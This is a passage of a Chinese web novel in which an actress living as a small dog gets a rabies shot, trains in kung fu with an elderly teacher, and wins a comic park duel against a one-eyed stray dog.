大毛看起来有些怒气,却不发火。
“大家小心。”它继续提醒大家。
夏焰没听到后面的几句,因为她要在林砚之下班之前赶回家。
她在门口的地毯上把爪子上的泥巴蹭掉,听着林砚之的开门声,乖乖坐在门口。
林砚之开门进屋,看到小狗正微微喘息朝他笑得开心。
他有些心颤,从夏焰的脑袋上轻拿下一朵忘记抖落的粉色小花。
18. 小狗被小狗咬也要打针噢
林砚之拎回来几个购物袋,都是买给夏焰的。
他帮忙把灰头土脸的夏焰收拾干净,发现她后颈上的牙印伤口。
有些紧张问她:“谁欺负你了?”
夏焰一时间没反应过来,不知道他指的什么,感觉到伤口的刺痛才意识到林砚之发现了她又偷偷跑出门了。
“不要生气。”
林砚之无奈叹气,不知道要拿她怎么办才好。
“你可不可以在我不在家的时候也照顾好自己。”
夏焰自知理亏,缩在他怀里,消毒药水涂在脖子上火辣辣的疼,她也一声不吭。
夏焰的痛觉神经非常敏感,蚂蚁啃咬的痛觉都会被她放大数倍。
从小练习武术,最基本的要领就是忍耐,咬碎的牙往肚里吞,不把脆弱暴露给旁人。
漫长的宁静,这个屋子存在了太多的沉默寡言。
夏焰感到前所未有的痛,几乎让她耳鸣晕厥,分不清痛来自于哪里,直冲大脑,无处可逃。
她突然意识到生命的珍贵,抱住林砚之的手臂大哭:“快带我去打狂犬疫苗呜呜呜。”
林砚之一愣,伸手用力擦拭她的眼泪。
拿过电话打给医生。
他抓过夏焰的手臂问她:“是不是流浪狗挠的?”
夏焰边哭边点头。
电话那头催促着:“那还不快来!”
林砚之抱着夏焰往医院跑,出门之前又反身拿过叠在沙发上的小毯子。林砚之没自己开车,他要抱着夏焰,只好打车。
“别催啊,马上红灯没看见啊,抢那两秒你俩得一起上路了。你这狗不咬人吧?”出租车师傅从后视镜里看他们。
夏焰在他怀里痛得哆嗦,被林砚之用力抱在怀里,小心避开她的伤口。
他看林砚之紧张的样子打趣道:“小伙子没老婆吧?就你们这些人,养个狗养的跟亲儿子亲闺女似的,拿这个钱出来干什么不好,就乐意花在畜生身上。”
夏焰用头撞他的手心。
“闭嘴。”林砚之用拳头狠锤了一下司机靠背。
司机被他的眼神唬住,不再说话,却故意放慢速度绕远路。
林砚之憋着气,夏焰在他怀里睡着了不敢有其他动作,任她压着手臂。
时不时把手指探到她的鼻前,感受她的呼吸。
终于到了医院,他抱着夏焰下车,小心平稳让她不受颠簸。刚关车门,司机摇下车窗向他背影吐唾沫,结果伤到无辜的肌肉男路人小哥,看起来像是健身教练,鼓着眼睛去抓司机的衣领。
夏焰模模糊糊听不真切,趴在林砚之肩头看着一出哑剧,神志不清地发出笑声。
林砚之听见她的笑声,加快脚步跑进医院。
肖旸旸等在门口接手,把夏焰放到就诊台上,去抓林砚之的手臂,问他:“狗咬哪了?没看见啊,不会是屁股?你丫的在外面屁股被咬了?”
夏焰无力地举起爪子,向他示意真正的病号在此。
肖旸旸沉默地放下林砚之手臂,按住夏焰身体,看她的伤口。
“乖乖别动啊,让叔叔看看伤口。确定是流浪狗抓的的吗?”他问林砚之。
林砚之点点头:“她说是。”
“?”
肖旸旸停下手里的动作,拉长嘴巴成“o”形,很难理解林砚之说的话。
旁边的助理姐姐迅速帮她处理好伤口重新消毒,拿着针管递给肖旸旸,对方还神游天外,被她狠狠拧了手臂才回过神来。
夏焰被按住爪子,疼痛让她无法思考,使她的感官过载。
白大褂硬的像粗糙的砂纸要把她的鼻子磨破,消毒水混合着淡淡的血腥味让她有些作呕。
对这种味道的恐惧深深刻进她的骨髓,只闻到一丝一缕就能把她的大脑翻过来,翻出最深处的记忆。
酸痛的四肢无力地搭在病床上,一夜的高烧把她烧糊涂了,分不清自己到底在家还是医院。抬手摸到病床的护栏,才从梦里惊醒。
手上的输液管已经回血好长一段,像是被剖出的血管,她盯着输液管里的血液一点点增加,直到隔壁床的老人发现,叫来护士拔针。
和护士一起出现的还有一声:“燕燕!”
夏焰缩在男人怀里抽泣,好像躺在温暖的被子里,嗅到阳光晒过的滋味。
林砚之单手抱着夏焰,用她平时睡觉盖的小薄毯包围着她,另一只手接过助理递来的纸杯。
夏焰打针,他倒是折腾出一身汗,黑色短袖都被汗浸湿了。怕夏焰挨着他觉得不舒服,想把她往外放点,刚离开他的胸口她就开始低低抽泣。
“跟你撒娇呢,小孩子就是这样。”
林砚之怪他力气太大把她疼晕了。
“你有病吧!”肖旸旸指着墙上的锦旗向他炫耀,“我可是宠物之友。”
“赶紧滚赶紧滚。”肖旸旸给他打开车门,要他注意观察小狗状态,要是发烧不舒服就给他打电话。
夏焰感觉身体飘在云端,软绵绵的棉花糖挤在她身边,好甜好软,她张嘴用力咬下去。
“痛!”
豆豆捂着耳朵从床上一下子跳下来,像在锅里被炸开的爆米花。
夏焰醒来在床上踩着柔软的被子伸懒腰,尽量让自己不去在意脖子上的伤口。
她看向床下的豆豆正用爪子扒在床边。
“你洗澡没有?”
“洗了呀我妈妈昨晚给我洗了澡,还给我修了毛毛。”它兴奋地晃着尾巴。
“你怎么在我家?”
“我想来看看你呀,还有我的救命恩人,现在你们俩都是我的救命恩人。”它激动地扒拉着夏焰垂在床边的爪子。
“我妈妈去上班了,我自己在家,想来找你玩,你主人为什么不上班呀,我以为只有你在家,他看到我就把我抱进来了。”
豆豆嘴里不停,爪子扒拉着夏焰要她下地和它玩。
“豆豆不要闹姐姐,她不舒服。”
林砚之端着杯凉白开走进来,摸摸夏焰的脑袋,探探身体温度,让她喝水。
豆豆站起身来,用它的豆豆眼看着夏焰,担心地问她:“你受伤了吗?”
夏焰有些虚弱点点头。
她趴在枕头上,又有点想睡觉。
林砚之给她盖好被子,把空调温度调高一点,带着豆豆走出卧室。
夏焰觉得大脑是混沌的,身体却是清醒
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的,醒不过来又无法真正入睡。
像是吃了小时候吃的神奇小药丸,副作用大,睡着的时候感觉自己不受控制飞起来了,变成大球跳跳跳又变成小球弹弹弹,最后变成小女孩变成小女孩的皮鞋踢踏踢踏。
“豆豆!我好想你呀!你为什么不和我回家?你在这个叔叔家做什么?”
夏焰蹑手蹑脚走出卧室,就看到穿着裙子的小慧在跪在地上伸手拽豆豆的爪子,要叫它回家。
豆豆则是一言不发抱着手生闷气,只留个屁股对着她。
小慧妈妈站在门口朝小慧招手,叫她回家,对林砚之不好意思地笑笑。
“快回家吧宝贝,这不是我们家的豆豆,别在别人家里乱跑,快出来!”
豆豆跟着林砚之出门丢垃圾,在楼下碰见跳绳的小慧,于是就有了现在的一幕。
夏焰打着哈欠看林砚之呆呆站在门口,既不把门口的女人迎进门也不劝趴在地上的小女孩回家,就这样双手抱在胸前,事不关己地站着。
夏焰汪汪两声,吸引在场所有人和狗的注意。豆豆默不作声地挪着身体到夏焰身边,继续撅着屁股生气。
“妈妈它真的不是豆豆吗?它和豆豆长得一模一样啊。”
小慧被妈妈抱出门,依依不舍。
小慧妈妈给林砚之道歉:“太不好意思了,林先生。”
“没事。”
母女俩还没帮林砚之关上门,一个女人挤进门缝间,一边探头一边高声喊着:“豆豆!回家了!”
小慧立刻死死扣住门框,大叫:“妈妈它就是豆豆!”
豆豆扭身看向小慧,又看看门外的女人,犹豫地甩着尾巴。
小慧大哭不止,妈妈一只手抓着她的胳膊,另一只手去拽她的手指。
“你这孩子!都说了不是我们家的狗!”
门口的女人被这幅场景吓傻了,不明白发生了什么。
林砚之终于挪动身体,走向她们。
他蹲下,小声在她耳边说了两句。
小慧泪眼朦胧的看着他,吸着鼻涕问:“叔叔你说的是真的?”
“是啊。”他点点头。
小慧一松劲就被妈妈抱起,她环住妈妈的脖子,仍然皱着小脸。
转头询问旁边的女人:“阿姨我以后能和小豆豆一起玩吗?”
女人点头。
获得批准的小慧仿佛重获新生,一切烦恼都消失了,她和林砚之挥手再见,对豆豆说:“小豆豆明天见。”
豆豆看着她被拉着离开门外,情不自禁地往前走了两步,像是那天她要去上学的清晨。
一样和它挥手说了再见。
却再也不见。
“林先生,我来接豆豆。”女人向林砚之笑着,没问任何关于刚才发生的事,她好像对一切了如指掌或者是不感兴趣。
林砚之抱起豆豆,递给门外的女人。
夏焰坐在茶几桌脚旁,抱着桌脚,视线被林砚之挡住,看不清两人在做什么,说话的声音也太小,搞不懂什么事要两人低头说悄悄话。
夏焰用头撞着桌脚,呜呜哀嚎几声。
林砚之转头看她,她转过身去,只留了屁股给他。
19. 那年十八,勇闯天涯
女人叫简阳,在不远的写字楼里上班,为了通勤方便,选择一个人租房子住,恰好是林砚之隔壁退休老师的房子。
豆豆后来和夏焰说她经常要加班总是很晚才回家,它一个狗害怕可不可以来她家睡觉。
夏焰说这个要问问林砚之。
简阳没有暑假,时不时会拜托林砚之帮忙给豆豆加水加粮。
林砚之干脆把它接到家里来和夏焰一起玩,他要去实验室了就又把她俩送到奶奶家,去和瓜皮一起玩。
这天夏焰和豆豆被寄存在奶奶家。
她四爪站在豆豆背上叫豆豆背她坐电梯下楼。
豆豆比她大一圈,稳稳背着夏焰走进电梯。
电梯里的人看得新奇,个个都掏出手机给她俩拍照录像。
“燕燕,电梯里怎么有闪电。”
“笨蛋,那是有人没关闪光灯。”
“噢。”它点点头,“等会你能背我吗?”
“看你表现。”
电梯到了一楼,他们俩叠叠乐抢先在众人面前走出电梯。
电梯口站着师傅,她笑眯眯地等着他们。
她把夏焰抱下来叫她不要欺负豆豆。
夏焰甩甩耳朵,扒在师傅裤脚。师傅咳嗽还没好,她很担心。
师傅把它们带到后花园,傍晚时分天气宜人,一个个石墩围出一个喷泉,有小朋友会往里面扔硬币诚心许愿。
亮闪闪的硬币一个个沉底,豆豆好奇地去捞,结果什么也没捞到。
师傅站在喷泉旁,抬手起势,只见她以身推肩,以肩推肘,以肘推手,一套动作行云流水。
夏焰看呆了,站在石墩上,看师傅的动作,一时间不敢眨眼。
师傅却在转腿时向她发难,迅雷不及掩耳之势向她劈出一掌。
夏焰来不及躲闪,从石墩上摔进池水里。
师傅笑着把她捞出来,瓜皮和豆豆在她两侧帮她拧干耳朵。
“还不够稳,动作差几分,心就要差上千分万分。”
师傅背着手绕着圈。
三只紧跟在她身后绕圈。
夏焰曾见师傅围着桌子绕圈,桌上的花盆岿然不动,花盆里的茉莉朵朵落下,宛如簌漱而下的洁白雪花,纷纷扬扬落在夏焰鼻头上。
师傅脚步看似轻盈,但她的每一步都能搅动土壤,如同波浪。
夏焰甩着双截棍,入门十二式她已经完全掌握,动作一板一眼,招招到位。
师傅看着她满意地笑,瓜皮为她鼓掌欢呼,豆豆坐不住跑去抓蝴蝶结果脚下一空也掉进池水里,尾巴从水池底卷出两个硬币。
它们去换了三个冰激凌,师傅给它们补上了少的一块钱。
三只抱着冰激凌坐在师傅怀里,挤不下了还要硬挤。
“豆豆你坐到我的手了!”
“瓜皮兄你往旁边靠靠嘛你都把我从师傅怀里挤出去了。”
夏焰左摇右晃抢到了师傅怀里正中间的位置,美滋滋地舔着怀里的冰激凌。
冰激凌吃完了还要把爪子也舔干净,她扭头问师傅:“师傅我打得好不好?”
一脸骄傲。
“还不错。”师傅读懂她的表情,摸摸她的脑袋鼓励道。
“那我什么时候可以开始和你学拳法。”她拉过师傅的手摇来摇去。
师傅仰着头笑而不语。
夏焰抓着豆豆,各自的两爪抱在一起,朝着师傅拜拜:“拜托拜托师傅教给我吧。”
“拜托拜托奶奶教给她吧。”
师傅高兴极了,居然头一次有了身边朋友所说说的天伦之乐的感觉。
她拍拍裤子起身,三只从她的腿上坐滑滑梯一样滑到草坪上。
夏焰在草坪上蹭着爪子摩拳擦掌,等着师傅传她武林秘籍。
师傅绷腿起势,身形似蛇,展臂抬手又好似白鹤亮翅,灵巧出拳,回勾,打落绣球花上一片绿叶,未伤及花瓣一丝一毫。
叶子飘飘扬扬,如同蝴蝶飞舞,引得夏焰心痒。
她也学着师傅动作比划着,刚一出拳就被一股向前冲的力量带倒,扑进绣球花丛里,连打几个喷嚏。
师傅大笑着把她从花丛里抱起,用手指点点她的鼻子。
“脚下不牢,心里也松。什么时候能定下心来,什么时候你就能打出震天动地的一拳。”
夏焰乖乖坐在师傅怀里,让师傅帮她摘去头上花瓣叶片。
“我们回家吧,小林也快下班了。”
夏焰下意识去听有没有林砚之的脚步声,却意外听到不远处的交谈声。
“陈姨在干嘛呢?”
“又在和狗说话,她女儿死了以后她就疯了!把狗当孩子,不是那天他们还看到她教那狗打拳。”
“唉白发人送黑发人也是可怜。”
她早就从林砚之那里知道师傅的女儿早逝,这些年都一个人生活,很少和别人交往,对他有几分照顾也不过是因为和他家里长辈有几分情义。
夏焰猛然回头对上师傅的眼睛,永远充满慈爱的目光,总是毫不吝啬地教给夏焰一切。
她轻咬着师傅的裤腿催促她快点回家,别听到他们伤人的话。
师傅身体很好,一点耳聋眼花都没有出现在她身上,夏焰却在此刻希望师傅的听力不要那么灵敏,还有些恶毒地希望那两个人回家的时候踩到狗屎!
“豆豆!去拉粑粑丢他们!”
“燕燕不行的,妈妈告诉我不能随地大小便。”它一本正经地教导夏焰。
“你也不能随便拉粑粑噢。”
夏焰闭上眼睛不想理它。
豆豆却突然想到什么,问她:“燕燕,该你背我了!”说着爪子已经撑到夏焰背上。
“我,我还没同意呢!”
夏焰侧着身子把它挡开。
“可是我今天表现很好!”
“哪里好?”
“我请你们吃了冰激凌,还帮你一起拜拜,还有,还有,就是要背嘛!我都背你了,你不能耍赖!”
它一屁股坐在电梯口挡住大家,敦实的身躯像个毛绒石狮子。
夏焰没办法只好让它上背。
刚踏上一只脚,夏焰一下没撑住,被压倒。
“哎呀燕燕你怎么变得扁扁的了。”
说着还把两个爪子交替踩踩。
“小豆你也,太重了。”
夏焰撑起身体,声音颤颤巍巍,腿也哆哆嗦嗦。
“嘿嘿那我晚上少吃点嘛。”
师傅要带着瓜皮去散步,只有她两只坐电梯回家。
电梯从负一层停车场上来,夏焰背着豆豆走进电梯。
圆滚滚的棉花糖小胖子昂首挺胸耀武扬威,从上往下看把夏焰盖得严严实实,它走进电梯和电梯里的人点头打招呼。
林砚之就在其中。
他低头看着豆豆就这样飘进电梯,脚下被前面的人挡住看不清楚。
直到电梯门开,豆豆走出电梯。
“麻烦让一下。”
他侧身走出电梯,余光瞟到旁边的人拿着手机兴奋地把视频传出去。
“小狗叠叠乐。”
林砚之听见那人在发语音。
“豆豆!你干嘛!”
简阳站在门口掏钥匙开门,看着自家的大胖小子正乐悠悠地踩着夏焰,连忙跑过去把它抱下地。
林砚之就在拐弯处紧跟其后,正好看见简阳把豆豆抱下来,才发现下面踩的是夏焰。
这几步快
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把夏焰累傻了,豆豆一下地,她就趴在地上一动不动。
她听见林砚之的脚步声,然后一双大手把她抱起。
他的声音带着几分怒气:“在做什么?”
简阳抓着豆豆给林砚之道歉:“回去一定收拾它!小坏蛋!”说着拍了两下豆豆屁股,对他讪笑着。
豆豆还在那吐着舌头傻乐,踮着脚非要她抱。
林砚之还是面无表情,夏焰的头贴在他的侧颈,察觉到他的紧绷。
他不笑的时候表情是很凝重吓人的,夏焰用爪子摸摸他的下巴,叫他不要生气。
林砚之单手抱着夏焰,开门进屋,关门,整个过程一言不发,没说一句话。
夏焰在他的怀里有些不自在,他用胳膊搂紧夏焰,让她有些难受,不安。
她用爪子拍拍男人手臂,让他松手。
林砚之和她对视,深深吸气,拧着眉凑得极近,他问:“你真的当自己是狗吗?”
夏焰一瞬间以为他在骂人,有些恼怒,突然意识到他在说什么,身体完全僵住。
“你为什么要去做那些事情?我把你送去陈奶奶家就是怕你被欺负了,现在看来你很乐意啊,很高兴被狗踩在脚下吗?”他转头不看夏焰,胸膛不停起伏,“那你告诉我,我该怎么对你?到底是把你当人!还是当……”
他把那个词咽下去,然后用力甩了自己一巴掌,怕自己说出不可挽回的话。
夏焰从他的怀里跌落在地,低着头不去看他。
“抱歉。”
林砚之发出微不可察的叹息。
跪在地上侧转身体,用上半身罩住缩成一团的夏焰。
他用手指轻轻拉开挡住她脸的耳朵,看到她痛苦的表情无可抑制地心痛。
“我该怎么做?”
林砚之真的感到迷茫,在他的一生中,很少出现这种时候。
他双手撑地再次低头向她提出问题,像是一心求学的好学生。
“你想让我怎么做?”
夏焰的身体止不住地颤抖,她不明白林砚之为什么突然向她发难,她不明白他是否有不得已的苦衷,对她这样穷追不舍地逼问。
做人做狗的区别在哪呢?此时此刻她倒是乐意变成没心没肺的豆豆,可以忽视后背上辛辣的泪。
难道一刻的逃避都不允许出现吗?
“你当然可以逃避。”
林砚之伸手从沙发垫下掏出被夏焰偷偷藏起的手机,刚一开机屏幕上就跳出一条讯息,来信时间是两天前,是沈盛发来的通告,只有简短的一句话:
下周一面试,剧本已发,做好准备,我来接。
这条讯息被夏焰和手机一起藏起来,直到沈盛出现在门口看到小狗模样的她,然后无功而返。
“把这些一起丢掉,如果你不会后悔。”
夏焰看到他手机里的照片,是她第一次跟着剧组参加电影节,提名最佳女主角,一身红裙意气风发。
不过很可惜那年她并没有获奖,她在台下为她人的成功欢呼雀跃时暗自发誓,下一次一定是她。
那年她刚好十八。
少女磅礴的野心在她眼里直白得吓人,毫无遮掩。
“关你什么事!”夏焰的声音颤抖,第一次在他面前觉得无地自容。
林砚之垂眼看她,语气轻巧:“如果是因为让你在这里过得太舒服了导致你甘愿放弃一切,那我很乐意帮助你彻底改变。”
夏焰紧咬着牙,一声不吭。
她从未如此渴望面前的男人能够与她正常交流,而不是让她无从辩解,就像现在一样。
林砚之却从她眼里看到不属于这幅身体的神情,妄想撕碎一切的恨还有不可磨灭的欲望,他明白了她的答案。
20. 谁赢谁做武林盟主!
“咳咳,那个,门没关紧。”
大门口站着上门干活的丁丁,还有顶着面包上门道歉的豆豆。
夏焰低头趴下身体,快速挪进沙发底。
林砚之立刻心领神会假装自己在找夏焰,俯身用手扫了一下沙发底,喊着夏焰的名字。
“燕燕你在哪?”
面无表情地爬起,拍拍膝盖,单手不自然摸着裤缝,看向丁丁。
“小朋友就是淘气。”
他搓搓脸,表示他的无奈。
丁丁根本注意他的表情,一个劲地揉搓豆豆的脑袋。
“我在门口看到这个棉花团子顶着面包在门口罚站,哈哈哈太好笑了。”
“你做错事了?谁这么狠心让你罚站?”
豆豆吐着舌头歪头乐着。
夏焰缩在沙发底,低声骂它傻狗。
豆豆摇着尾巴不请自来,把脑袋塞进沙发缝隙,动动鼻子仔细闻夏焰的味道,闻到她的味道就高兴地往里挤。
用尽九牛二虎之力才挤进半个脑袋,脑袋上蓬松的毛毛都被压扁,它伸手去抓夏焰的爪子。
“燕燕,你生气了吗?我给你带了红豆面包,这是我的晚饭,我不吃啦,给你吃。”
面包被它压在身下,掏出来的时候也扁扁的。
“我没有生你的气,我们两个是好朋友对吧?好朋友间是不会生气的。”
“嗯嗯!”豆豆用力点头,脑袋被卡住无法动弹。
“但是我们也不太一样对吧?”
夏焰话音未落就意识到自己问的问题有多可笑,想要在这个笨笨的小狗身上寻找认同感。
“当然啦,你就是最聪明最厉害的小狗,你能做到我们都做不到的事。”
夏焰把面包塞进它的嘴里,用自己的鼻子抵住它的鼻尖轻蹭。
“噢噢我差点忘了,这个给你,我在门口捡到的。”
它从脖子上挂着的口水兜的隔层里掏出一个小卡片。
沙发底下太黑看不清楚,只隐隐约约看到一点粉红色艺术字还有肉色小人,两只头抵着头爪子抵着爪子。
夏焰突然一个爆栗打在豆豆头上:“不要乱捡小广告啊!”
豆豆舔她的脸问她什么是小广告。
“就是,小朋狗不可以看的!”
“这个是那个臭猫甩过来的,就在你们家门口,它丢下就跑了。”它把卡片翻过来,“好像写的有字呢。”
夏焰眯着眼睛也看不清楚写的是什么。
“这里太黑了看不清楚,要到外面看,你先出去。”
豆豆听话往把脑袋外挤。
挤了半天没有撤出去一点,夏焰用爪子推着它的脑袋用力。
“豆豆你真的要少吃点了……”夏焰咬着牙一个字一个字往外蹦,四只爪子一起使劲也没把豆豆挤出去。
豆豆突然哼哼起来:“妈妈救我!”
夏焰偏着脑袋朝着亮光处大喊:“林砚之救命!”
话音刚落,沙发就被人抬起。
林砚之把沙发抬起,和水晶灯光一起出现在夏焰视线里,像普世众生的观音大士,夏焰闪着泪光,倒映着闪闪金光,她说:
“我的老天爷啊。”
“丁丁!”
林砚之叫丁丁过来把两只牵走,他双手抬起沙发一侧,手臂青筋暴起,实木沙发的重量不可小觑。
夏焰和豆豆终于逃出生天,林砚之缓缓放下,沙发腿接触地面没发出任何声音。
豆豆跑进简阳的怀里,一个劲儿的摇尾巴。
夏焰把爪子踩到林砚之脚上,顺势攀到他的手臂上。
简阳拉着豆豆走过来,摸摸夏焰的脑袋:“你叫丁丁啊,这么可爱的名字,是你爸爸起的吗?”说完微笑着向林砚之投去目光。
“啊我吗?我的名字是我妈起的,很可爱吗?”丁丁摸着后脑勺羞涩的笑着,脸上浮现出不可名状的红晕。
夏焰趴在林砚之肩头捂嘴偷笑,林砚之捏捏她的耳朵叫她别笑出声来。
她靠在鱼缸边,爪子边是林砚之给她打印的剧本。她要用平板,林砚之非说她会用来打消消乐,不许她用。
豆豆把面包吃完了被妈妈拎回家,走之前趁着妈妈和大家告辞的几秒钟迅速舔了一口挂在厨房的香肠。
眯着眼笑开花,被简阳揪着耳朵骂大馋狗。
简阳捂着胸口,感觉要被自家的馋狗气晕了,对林砚之赔笑着要买下香肠,林砚之看向夏焰,夏焰坐在他肩上挥挥爪子十分大方,说送给它了。
豆豆叼着香肠撒腿就跑,简阳在后面猛追:“你看我回去揍不揍你!”还不忘记把门关上。
夏焰低着头把小卡片夹在剧本里,上面鬼画符一样的文字让她摸不着头脑。
她把卡片一甩,在鱼缸水面打水漂。
尼莫转圈游到水面,吐出的泡泡漂到卡片旁。
“呦,你惹到谁了?人家给你下战书啊。”
“战书?”夏焰捞出小卡片,用爪子擦干上面的水,鬼画符字迹已经被水洇开,模糊不清。
“你能看懂?”
“小瞧我!我可是百度百科万事通!”
尼莫接着说:“晚上十点,小公园,大黑留。”
它仰着脑袋回忆着上面的内容。
“噢对了还说叫你不许带人,一场真正的一对一决斗,狗与狗之间的决斗,谁赢谁是恶犬。”
夏焰兴致缺缺地把卡片又丢回鱼缸再打一次水漂,被泡软的卡片根本丢不远,刚离开手就停下。
她说:“不去。”
“上面说了谁赢了谁是狗中老大,犬族第一!”尼莫莫名其妙地血脉贲张。
“没看我正学习呢,别吵我,嘘!”夏焰拍拍鱼缸叫它安静。
尼莫凑到鱼缸壁上,压低声音在她耳边低语:“谁赢谁当公园老大。”
夏焰扭头看它。
“谁赢谁做武林盟主!”
尼莫激动地飞起来,冲出水面,跳出鱼缸,结果不知道撞到什么东西又被弹回水底。
“哎呦!我晕。”
林砚之甩动被撞到的手,湿润的感觉还在掌心残留,他眉头紧锁,用手指从水面上夹起那张粉色的小卡片。
夏焰想起第一次在电脑上玩游戏不小心点进旁边的小广告,接着跳出一大堆不可描述的图片,吓得她一键重启。
林砚之和夏焰大眼瞪小眼,相顾无言。
林砚之的脸色青一阵白一阵,夏焰直愣愣盯着他的眼睛,装作懵懂无知的样子。
他们之间不应该出现这个场面。
人看着狗,狗看着人,人
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手里拿着狗捡的小卡片。
他多怕她突然开口,一脸天真茫然地问他这是什么东西。
气氛有些尴尬,他清清嗓子斟酌着开口:“我给你扔了。”想到什么又转回身补充道:“好好看剧本,别捞鱼了。”
严厉的林教授一转身就撞上鬼鬼祟祟前来撸狗的丁丁。
手指间软趴趴的小卡片啪叽一下掉落在地,助人为乐的丁丁迅速弯腰帮林老师捡起他掉的东西。
“林老师给你……”他眯眼笑,看到卡片的一瞬间睁大了眼睛,举手向林砚之发誓,“林老师我绝对不会说出去的,天知地知你知我知。”
夏焰和尼莫向他们投去炽热的目光。
“……闭嘴。”
夏焰叫尼莫闭嘴,别再撺掇她了。
“我就知道你也想去!他们俩刚好去实验室了,你一个小时解决了它,回来不会被发现的。”
“你怎么不说那大黑狗有我三个大,到底谁解决谁啊?”
“打不过就跑啊!万一打过了呢!你这么厉害,那双截棍耍得呼呼的,每天那么用功我可都看在眼里。现在是你一展身手的时候了。”
“师傅说了,教我功夫不是让我欺负别人的。”
“武林盟主。”
“难道我和它今天打一架就能结束这些年两边的恩怨了吗?”
“盟主在上受小的一拜!”
“……”
“我的双截棍在哪?”
夏焰背着包出发了。
里面装着沉甸甸的双截棍。
她在一片夜幕星河下来到公园赴约。
“如果你一个小时还没回来我就让小艺打电话给兄弟去救你。一定要小心!”尼莫在夏焰走之前一脸严肃地提醒道。
夏焰来到那天打群架的沙堆边,安静地有些诡异,她害怕有诈,担心一双双窥伺的双眼借着黑夜潜伏在她的身边。
她放慢脚步,等待着那个幕后黑手的出现。
“我来了!你在哪?”
夏焰听到灌木丛里发出的沙沙声,一只看不出品种的黑犬披着夜色昂首阔步出现到灯光下。
夏焰看清了它的模样,倒松了口气。
一点也不像它们描述的那样,口水挂在嘴边脸皮松垮垂下,两只斗鸡眼,在你身上扫视然后歪嘴邪笑。
面前的这位看起来已经是犬中翘楚,只是凑近些才能看清它只有一只眼睛。
夏焰后退两步和它拉开距离,对方却紧跟着向前。
夏焰又发现它的瘸腿。
“我就知道你会来的。”
它低头笑笑。
“怎么?还给我带了礼物吗?”它用鼻子在夏焰身上嗅嗅。
“我们先来对决吧,结束了再送我这个礼物也不迟。”
夏焰看它龇出獠牙,对它抬手示意暂停一下。
“哦?还带的有武器?”它新奇地看向夏焰背上的袋子。
“也好也好,让我也看看你的真本事,让我见识见识你甩双截棍的本领。”大黑侧头豪迈大笑。
公园的灯年久失修,在他们头顶的一盏此时已经不堪重负,彻底失去亮光。
夏焰趁机拉开束口袋,一股荤香扑面而来,爪子上满是油腻之感,她仰天长啸:“干啊!谁把我双截棍换成香肠了!”
21. 公园兴,夏焰王
管不了那么多了!
就算是香肠也得给我上!
一根细线拴着的两根香肠被夏焰抡出残影,一下接着一下打在大黑的脸上。
“好厉害的武器!哈哈哈!”
大黑笑着向后退,试图抬手抵挡夏焰的进攻,结果连连败退。
“我打!”
夏焰整个人被香肠的气味包裹,击打效果远远不及真正的双截棍,她只能尝试以快取胜,出其不意,攻其不备。
大黑只守不攻,夏焰暂时摸不清它的套路,只好留着一手,以防万一。
她一只脚在另一只脚侧后方,方便她转身闪躲。
在她的胳膊都有些酸痛感出现时,紧紧拴住两根香肠的细绳终于不堪重负断开了,一根飞入灌木丛里引发一阵不小的骚乱。
另一根被大黑一口咬下,只余下夏焰手中一小截。
“都给我咬成□□肠了!”
“哈哈哈哈哈!味道不错!”
大黑笑着把嘴里的香肠咬得咯吱作响,油水四溅。
它低头靠近夏焰,夏焰偏头躲开,漏出的香油溅到夏焰的耳朵侧颈,让她有些作呕。
她低头看向手里的半截香肠,心念电转间思索对策,却不料大黑几步向她扑来,张开血盆大口袭击她的脖子。
夏焰顺势把重心移到后腿,向后撤身,抬手抵挡它的獠牙。
手臂被卷入大黑口中,夏焰眉头轻拧,却没有想象中的疼痛。
大黑叼着她的手臂却迟迟没有用獠牙刺穿,好像在赏析或者是把玩。
这幅高高在上的样子一下和那个晚宴上的秃头男人重叠。
夏焰做出当时没能做也不能做的事,把他眼睛里爬出的蠕虫再送回去。
她做人的时候不能干的,现在通通可以了,放肆地,畅快地,用尽全力向对面的眼睛打去。
大黑吃痛哀嚎一声,夏焰把爪子从它嘴里拿出来,另一只爪子紧接着又向它眼睛打去。
正所谓,好拿不如赖打。
夏焰的记性好,甚至到了过目不忘的程度。师傅做过的动作一招一式都被她存在脑袋里,即使不能准确打出来,也能记得大概。
她此刻把一套拳法拆开,关于哪个动作的记忆先浮现出来,就出手打哪个,动作又快又密,拳头如同冰雹般向大黑打去。
拳头大的冰雹在夏夜里局部精准击打。
大黑根本没有机会还手。
夏焰使出一招上勾拳,又一个肘击,最后气沉丹田一劈掌,大黑轰然倒地。
高大的身躯就这么瘫倒在沙地上。
撞出一身尘埃。
它还是笑着,只是嘴里的笑含糊不清,含了血腥。
夏焰再次举起拳头。
“大侠饶命!哈哈哈你赢了!你赢了!太好了!你赢了!”
它的声音越来越大,向在场的所有动物宣布:“她赢了!”
“公园,归她了!”
它迅速喘息着,吐出一口带血的唾沫,吐出一颗尖牙。
四周安静极了,只有夏蝉在高声鸣叫宣布本场赛事的结束。
树顶的橘猫滑溜下树,不发出一点声响,极速向它奔来,却在不远处停下。
大黑抬起爪子让它别过来。
它咧嘴对夏焰说:“祝贺你,从此以后这个地方就归你了。你很厉害,不会让它们被坏人伤害,我放心了。”
“我不当老大,你爱当你当,我已经不是玩过家家的年纪了。”夏焰抬起下巴,“只是,你们以后要允许小朋友们到这来玩,这不是你们独享的公园。”
大黑又笑了,它的笑容越来越无力,它笑夏焰的天真:“这也不是你们人类独享的世界。”
你们人类?
夏焰睁大眼睛。
“我知道你不一样。”它偏着头看向灌木丛后陆陆续续探出的毛绒脑袋,“我已经很老了,没办法再照顾它们,我希望你可以答应我。”
夏焰有些动摇,她的神情被大黑看到眼里。
“我亲眼所见你是怎么变成现在这样的。”
夏焰诧异,她从来没想到这场意外会有目击者。
“我还亲眼看到很多事情,包括五年前那个夜晚,那个女孩是怎么翻身掉进河水里的。”它嘶哑的声音像一记重锤锤向夏焰,报复她刚才的胜利。
它用爪子轻拍夏焰耳朵上的爱心印记。
“这是她的狗对吧?”
夏焰一下压住它的胸口,要它说清楚都是怎么回事。
“我只是一只被人抛弃的流浪狗,怎么会明白到底发生了什么呢,我最多只能把我看到的都告诉你。”
“我不想让它们看到我这个样子,嗯?让我这个前任老大哥体面点离开好吗?”
夏焰艰难咽下口水,把喉咙里的血腥味压进肚子。
她幽幽迈步走向灌木丛。
无数双眼睛直直盯着她,期望,愤怒,兴奋,无趣……千种万种无法言说的感情都从眼睛里跑出来放声嚎叫。
